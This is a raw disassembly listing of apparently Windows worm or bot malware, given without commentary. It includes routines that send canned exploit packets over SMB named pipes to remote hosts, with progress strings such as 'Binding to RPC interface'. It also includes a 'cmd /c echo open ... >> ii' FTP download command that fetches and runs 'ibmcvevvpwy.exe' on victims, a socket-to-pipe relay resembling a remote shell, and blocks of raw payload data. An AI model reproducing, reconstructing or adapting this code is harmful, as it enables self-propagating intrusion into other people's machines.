ptr [ebp+var_54+4] call near ptr 0B10000h out 3Dh, eax add al, [ecx] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- jnz short loc_40DD4F push 65h lea esi, [ebp+arg_0] sub esp, 0BCh mov byte ptr [ebp+arg_BC+3], 1 push 2Fh pop ecx mov edi, esp rep movsd call sub_40E2E5 mov eax, [ebp+arg_A8] add esp, 0C0h shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40DD4F: ; CODE XREF: sub_40D83A+497j ; sub_40D83A+4DEj cmp byte ptr [ebp+arg_BC+3], bl mov esi, [ebp+var_C] jz near ptr loc_40DC95+1 jmp short loc_40DD63 ; --------------------------------------------------------------------------- loc_40DD60: ; CODE XREF: sub_40D83A+48Ej mov esi, [ebp+var_C] loc_40DD63: ; CODE XREF: sub_40D83A+460j ; sub_40D83A+524j push [ebp+var_8] mov edi, ds:dword_42806C call edi ; CloseHandle push esi call sub_41B2A1 cmp dword ptr [ebp+var_54+4], ebx pop ecx jz short loc_40DD7F push dword ptr [ebp+var_54+4] call edi ; CloseHandle loc_40DD7F: ; CODE XREF: sub_40D83A+53Ej xor eax, eax cmp byte ptr [ebp+arg_BC+3], bl setnz al loc_40DD8A: ; CODE XREF: sub_40D83A+B4j pop edi pop esi pop ebx leave retn sub_40D83A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DD8F proc near ; CODE XREF: seg000:0040D6FCp arg_0 = byte ptr 4 push esi push edi push 0 lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40D83A add esp, 0C0h test eax, eax jz short loc_40DDB8 xor eax, eax inc eax jmp short loc_40DDDC ; --------------------------------------------------------------------------- loc_40DDB8: ; CODE XREF: sub_40DD8F+22j push 1 lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40D83A add esp, 0C0h neg eax sbb eax, eax neg eax loc_40DDDC: ; CODE XREF: sub_40DD8F+27j pop edi pop esi retn sub_40DD8F endp ; =============== S U B R O U T I N E ======================================= sub_40DDDF proc near ; CODE XREF: sub_40E27B+35p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_41BD10 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call ds:dword_428220 ; socket mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 call ds:dword_428234 ; inet_addr push [esp+20h+arg_13924] mov [esp+24h+var_8], eax call ds:dword_42820C ; htons mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi call ds:dword_428210 ; connect test eax, eax jge short loc_40DE40 loc_40DE39: ; CODE XREF: sub_40DDDF+275j xor eax, eax jmp loc_40E270 ; --------------------------------------------------------------------------- loc_40DE40: ; CODE XREF: sub_40DDDF+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call ds:dword_428214 ; setsockopt lea eax, [esp+44h+arg_13864] push 1 push eax call sub_417F6F pop ecx cmp eax, 2 pop ecx jz loc_40E059 cmp eax, 1 jz loc_40E059 mov ebx, ds:dword_428224 push edi push 48h push offset aB ; "" push esi call ebx ; send mov ebp, ds:dword_428218 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_433A40 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_433AA0 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_433B58 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_433C50 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_433C90 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_433CF8 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433D90 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433EF0 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434050 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_4341B0 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E234 cmp eax, 0FFFFFFFFh jz loc_40E234 push 0 push 15Bh push offset dword_433D90 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433EF0 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434050 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_4341B0 push esi call ebx ; send push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_41B780 add esp, 0Ch loc_40E020: ; CODE XREF: sub_40DDDF+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E234 cmp eax, 0FFFFFFFFh jz loc_40E234 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_40E235 call ds:dword_42821C ; closesocket jmp loc_40DE39 ; --------------------------------------------------------------------------- loc_40E059: ; CODE XREF: sub_40DDDF+95j ; sub_40DDDF+9Ej mov ebx, ds:dword_428224 push edi push 48h push offset unk_434220 push esi call ebx ; send mov ebp, ds:dword_428218 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_434270 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_4342D0 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_434388 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 66h push offset dword_434480 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_4344E8 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_434528 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_434590 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434628 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434788 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4348E8 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434A48 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_434BA8 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E234 cmp eax, 0FFFFFFFFh jz short loc_40E234 push 0 push 15Bh push offset dword_434628 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434788 push esi call ebx ; send push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4348E8 push esi call ebx ; send push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434A48 push esi call ebx ; send push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_434BA8 push esi call ebx ; send jmp loc_40E020 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: sub_40DDDF+1C4j ; sub_40DDDF+1CDj ... push esi loc_40E235: ; CODE XREF: sub_40DDDF+269j call ds:dword_42821C ; closesocket push 7D0h call ds:dword_428064 ; Sleep push 0BEEFh lea esi, [esp+1B0h+arg_136F8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E2E5 add esp, 0C0h neg al sbb eax, eax neg eax loc_40E270: ; CODE XREF: sub_40DDDF+5Cj pop edi pop esi pop ebp pop ebx add esp, 13894h retn sub_40DDDF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E27B proc near ; CODE XREF: seg000:0040D711p var_200 = byte ptr -200h arg_0 = byte ptr 8 arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 200h push esi xor esi, esi cmp [ebp+arg_A0], 8Bh push edi jz short loc_40E2A0 cmp [ebp+arg_A0], 1BDh jnz short loc_40E2DF loc_40E2A0: ; CODE XREF: sub_40E27B+17j sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40DDDF mov esi, eax add esp, 0BCh test esi, esi jz short loc_40E2DF lea eax, [ebp+var_200] push eax call sub_4152AE mov eax, [ebp+arg_A8] pop ecx shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40E2DF: ; CODE XREF: sub_40E27B+23j ; sub_40E27B+44j mov eax, esi pop edi pop esi leave retn sub_40E27B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2E5 proc near ; CODE XREF: sub_40D83A+4F9p ; sub_40DDDF+480p ... var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_428234 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_42820C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_428220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E3B3 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_428210 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E3B3 mov edi, 400h push esi mov esi, ds:dword_428218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe" push eax push eax push ds:dword_4CD938 push [ebp+arg_0] call sub_40AAF8 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41BB70 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_428224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E3B7 loc_40E3B3: ; CODE XREF: sub_40E2E5+50j ; sub_40E2E5+62j xor al, al jmp short loc_40E3CD ; --------------------------------------------------------------------------- loc_40E3B7: ; CODE XREF: sub_40E2E5+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_42821C ; closesocket mov al, 1 loc_40E3CD: ; CODE XREF: sub_40E2E5+D0j pop edi pop esi pop ebx leave retn sub_40E2E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3D2 proc near ; CODE XREF: sub_40E64C+16p ; sub_40E64C+39p var_72E38B40 = qword ptr -72E38B40h var_1D24 = byte ptr -1D24h var_D24 = byte ptr -0D24h var_CF8 = byte ptr -0CF8h var_CF4 = byte ptr -0CF4h var_CF0 = byte ptr -0CF0h var_CEC = byte ptr -0CECh var_A28 = byte ptr -0A28h var_A24 = byte ptr -0A24h var_4F4 = byte ptr -4F4h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_88 = byte ptr -88h var_84 = byte ptr -84h var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_58 = byte ptr -58h var_54 = byte ptr -54h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_28 = byte ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1D24h call sub_41BD10 push ebx push esi push edi push 830h lea eax, [ebp+var_D24] push 0 push eax call sub_41B780 push 264h lea eax, [ebp+var_2EC] push 0FFFFFF90h push eax call sub_41B780 push 15Bh lea eax, [ebp+var_2EC] push offset dword_434D18 push eax call sub_41C500 push 4 lea eax, [ebp+var_88] pop ebx push ebx push offset dword_434F44 push eax call sub_41C500 push 8 lea eax, [ebp+var_84] push 41h push eax call sub_41B780 mov esi, offset dword_434F3C push ebx lea eax, [ebp+var_7C] push esi push eax call sub_41C500 add esp, 48h lea eax, [ebp+var_78] push 20h push 0FFFFFF90h push eax call sub_41B780 push ebx lea eax, [ebp+var_58] push esi push eax call sub_41C500 push 8 lea eax, [ebp+var_54] push 42h push eax call sub_41B780 push ebx lea eax, [ebp+var_4C] push esi push eax call sub_41C500 push 20h lea eax, [ebp+var_48] push 0FFFFFF90h push eax call sub_41B780 push 2Ch lea eax, [ebp+var_D24] push offset dword_434CC4 push eax call sub_41C500 add esp, 48h mov edi, offset dword_434F34 lea eax, [ebp+var_CF8] push ebx push edi push eax call sub_41C500 mov esi, offset dword_4D0904 push ebx lea eax, [ebp+var_CF4] push esi push eax call sub_41C500 push ebx lea eax, [ebp+var_CF0] push edi push eax call sub_41C500 lea eax, [ebp+var_2EC] push 2C4h push eax lea eax, [ebp+var_CEC] push eax call sub_41C500 push ebx lea eax, [ebp+var_A28] push esi push eax call sub_41C500 push 1Ch lea eax, [ebp+var_A24] push offset dword_434CF4 push eax call sub_41C500 add esp, 48h lea eax, [ebp+arg_4] mov edi, 104h push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_3F0] push edi push eax call sub_41BB70 lea eax, [ebp+var_3F0] add esp, 10h xor esi, esi mov [ebp+var_14], eax mov eax, offset dword_43FDB4 push esi push eax push eax lea eax, [ebp+var_28] mov [ebp+var_24], esi push eax mov [ebp+var_18], esi mov [ebp+var_C], esi call sub_41B1C0 test eax, eax jz short loc_40E572 push offset aFailedToConnec ; "[-] Failed to connect to host !\n" call sub_41D3DC pop ecx loc_40E56B: ; CODE XREF: sub_40E3D2+1D6j ; sub_40E3D2+229j ... xor eax, eax loc_40E56D: ; CODE XREF: sub_40E3D2+275j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40E572: ; CODE XREF: sub_40E3D2+18Cj lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_4F4] push edi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_4F4] push esi push esi push 3 push esi push esi push 0C0000000h push eax call ds:dword_4280EC ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40E56B push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n" call sub_41D3DC pop ecx lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1D24] push 1000h push eax push 49h push offset dword_434C78 push edi call near ptr 0B10000h bound eax, [ebp+var_72E38B40] inc ebp cld push esi push eax lea eax, [ebp+var_D24] push 830h push eax push edi call near ptr 0B10000h pop edx test eax, eax jnz short loc_40E600 push edi call ds:dword_42806C ; CloseHandle jmp loc_40E56B ; --------------------------------------------------------------------------- loc_40E600: ; CODE XREF: sub_40E3D2+220j push 0FAh call ds:dword_428064 ; Sleep push 115Ch lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E2E5 add esp, 0C0h test al, al jz loc_40E56B mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] xor eax, eax inc eax jmp loc_40E56D sub_40E3D2 endp ; =============== S U B R O U T I N E ======================================= sub_40E64C proc near ; CODE XREF: seg000:0040D726p arg_0 = byte ptr 4 push esi push edi sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3D2 add esp, 0BCh test eax, eax jnz short loc_40E698 sub esp, 0BCh lea esi, [esp+0C4h+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3D2 add esp, 0BCh neg eax sbb eax, eax neg eax jmp short loc_40E69B ; --------------------------------------------------------------------------- loc_40E698: ; CODE XREF: sub_40E64C+23j xor eax, eax inc eax loc_40E69B: ; CODE XREF: sub_40E64C+4Aj pop edi pop esi retn sub_40E64C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E69E proc near ; CODE XREF: sub_40E78C+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_428234 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_42820C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_428220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E76C lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_428210 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E76C mov edi, 400h push esi mov esi, ds:dword_428218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe" push eax push eax push ds:dword_4CD938 push [ebp+arg_0] call sub_40AAF8 pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41BB70 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_428224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E770 loc_40E76C: ; CODE XREF: sub_40E69E+50j ; sub_40E69E+62j xor eax, eax jmp short loc_40E787 ; --------------------------------------------------------------------------- loc_40E770: ; CODE XREF: sub_40E69E+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_42821C ; closesocket xor eax, eax inc eax loc_40E787: ; CODE XREF: sub_40E69E+D0j pop edi pop esi pop ebx leave retn sub_40E69E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E78C proc near ; CODE XREF: sub_40BF8E+1D7p ; DATA XREF: seg002:off_432A94o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call ds:dword_4CDC38 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call ds:dword_4CDBF8 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_428220 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E7FE lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E7DF push esi jmp short loc_40E7F8 ; --------------------------------------------------------------------------- loc_40E7DF: ; CODE XREF: sub_40E78C+4Ej push 0 push 1213h push offset dword_434F50 push esi call ds:dword_428224 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40E802 loc_40E7F8: ; CODE XREF: sub_40E78C+51j call ds:dword_42821C ; closesocket loc_40E7FE: ; CODE XREF: sub_40E78C+3Cj xor eax, eax jmp short loc_40E840 ; --------------------------------------------------------------------------- loc_40E802: ; CODE XREF: sub_40E78C+6Aj call ds:dword_42821C ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E69E add esp, 0C0h test eax, eax jz short loc_40E83D mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40E83D: ; CODE XREF: sub_40E78C+9Ej xor eax, eax inc eax loc_40E840: ; CODE XREF: sub_40E78C+74j pop edi pop esi leave retn sub_40E78C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E84D: ; CODE XREF: seg000:0040E869j push 0 lea eax, [ebp-404h] push 400h push eax push ds:dword_4D091C call ds:dword_4CDC10 ; recv test eax, eax jle short loc_40E84D lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push ds:dword_4D0918 call near ptr 0B10000h aad 0EBh mov byte ptr [ebp-75h], 0ECh sub esp, 404h loc_40E890: ; CODE XREF: seg000:0040E8B6j ; seg000:0040E8D0j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push ds:dword_4D090C call ds:dword_4280E8 ; ReadFile cmp dword ptr [ebp-4], 0 jle short loc_40E890 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push ds:dword_4D091C call ds:dword_4CDC48 ; send jmp short loc_40E890 ; --------------------------------------------------------------------------- word_40E8D2 dw 8B55h ; DATA XREF: seg000:00404811o dword_40E8D4 dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h dd 0FFFFFEE4h, 0F633A5F3h, 6A46FF33h, 98B08910h, 8D000000h dd 5057C845h, 0CE7BE8h, 0CC48300h, 0C845C766h, 0B5FF0002h dd 0FFFFFF68h, 0DBF815FFh, 66A004Ch, 66026A56h, 0FFCA4589h dd 4CDC7815h, 8458900h, 6AC8458Dh, 75FF5010h, 2415FF08h dd 6A004CDCh, 875FF05h, 0DC2015FFh, 1D8B004Ch, 428100h dd 806C358Bh, 57570042h, 0FF0875FFh, 4CDC8C15h, 91CA300h dd 458D004Dh, 685057F4h, 4D0918h, 4D091468h, 0F445C700h dd 0Ch, 1FC45C7h, 89000000h, 0D3FFF87Dh, 57F4458Dh, 9106850h dd 0C68004Dh, 0FF004D09h, 8D446AD3h, 50578445h, 0CDDFE8h dd 914A100h, 0C483004Dh, 0BC45890Ch, 4D0910A1h, 0C0458900h dd 8D016A57h, 26AC445h, 8445C750h, 44h, 1B045C7h, 66000001h dd 0E8B47D89h, 70162Ch, 35FF5066h, 4D0910h, 70161FE8h dd 0E8507400h, 701618h, 0D8458D44h, 84458D50h, 68575750h dd 4000090h, 6AF4458Dh, 458D5001h, 0DC6850F4h, 57004361h dd 7015F3E8h, 458DAE00h, 575750E8h, 40E88768h, 0F4458D00h dd 15FF5057h, 42807Ch, 8DEC4589h, 5750E845h, 0E8446857h dd 458D0040h, 0FF5057F4h, 42807C15h, 89FF6A00h, 75FFF045h dd 15B6E8D8h, 57C10070h, 0E8F075FFh, 7015ACh, 75FF57EBh dd 15A2E8ECh, 0FFFA0070h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h dd 158EE8D8h, 0FF4E0070h, 4D091435h, 0FFD6FF00h, 4D091835h dd 0FFD6FF00h, 4D090C35h, 0FFD6FF00h, 4D091035h, 0FFD6FF00h dd 0D6FFDC75h, 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h dd 0FFFEh, 40068h, 9DBCE800h, 0A3590000h, 4D0920h ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- word_40EABE dw 8B55h ; DATA XREF: seg000:0040BC7Bo dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h, 0BD8D59F0h dd 0FFFFFF50h, 0F633A5F3h, 6A46DB33h, 98B08910h, 8D000000h dd 5053EC45h, 0CC8FE8h, 0CC48300h, 0EC45C766h, 0B5FF0002h dd 0FFFFFF5Ch, 0DBF815FFh, 5653004Ch, 8966026Ah, 5D89EE45h dd 7815FFF0h, 8B004CDCh, 0FFCE83F8h, 4575FE3Bh, 75E45D39h dd 858D5320h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh dd 0FFFF50B5h, 0AE24E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh dd 675DE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC72Bh, 0E8535959h dd 70149Ch, 54858BFEh, 6AFFFFFFh, 34C06910h, 89000002h dd 440B44B8h, 0EC458D00h, 15FF5750h, 4CDC24h, 0BBC63Bh dd 0F000004h, 0CF85h, 8C15FF00h, 3D004CDBh, 2740h, 0F6334774h dd 75E47539h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0ADA4E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 66DDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC6ABh dd 0E8565959h, 70141Ch, 0FFFE689Ah, 0E8530000h, 9C82h dd 920A359h, 6659004Dh, 8DEE4589h, 106AEC45h, 15FF5750h dd 4CDC24h, 5475C63Bh, 0DB8C15FFh, 0F633004Ch, 75E47539h dd 27403D27h, 20740000h, 40858D56h, 0FFFFFFFDh, 8D50E075h dd 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFAD29E8h, 14C483FFh dd 0FD40858Dh, 0E850FFFFh, 6662h, 0FF54B5FFh, 30E8FFFFh dd 59FFFFC6h, 0A1E85659h, 0E5007013h, 0FF57056Ah, 4CDC2015h dd 0FC63B00h, 0D484h, 0FC45C700h, 10h, 42A0ECBEh, 0FC458D00h dd 40858D50h, 50FFFFFFh, 8C15FF57h, 83004CDCh, 4589FFF8h dd 83E67408h, 7500E47Dh, 8D006A21h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0ABE8FFFFh, 83FFFFACh dd 858D14C4h, 0FFFFFD40h, 65E4E850h, 8D590000h, 0FFFD4085h dd 68006AFFh, 200h, 875FF50h, 0DC1015FFh, 0F883004Ch, 569674FFh dd 3835FF56h, 0FF004CD9h, 0FFFF50B5h, 0BDFEE8FFh, 5059FFFFh dd 4361E868h, 40858D00h, 53FFFFF9h, 0CE62E850h, 0C4830000h dd 40858D1Ch, 6AFFFFF9h, 0B1E85000h, 590000C4h, 40858D50h dd 50FFFFF9h, 0FF0875FFh, 4CDC4815h, 0FFF88300h, 0FF43840Fh dd 5FFFFFFh, 4D0924h, 0FFFF38E9h, 15FF57FFh, 4CDC90h, 0FF54B5FFh dd 30E8FFFFh, 59FFFFC5h, 0A1E8006Ah, 0E4007012h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED60 proc near ; DATA XREF: seg000:0040BB54o var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_138 = byte ptr -138h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov 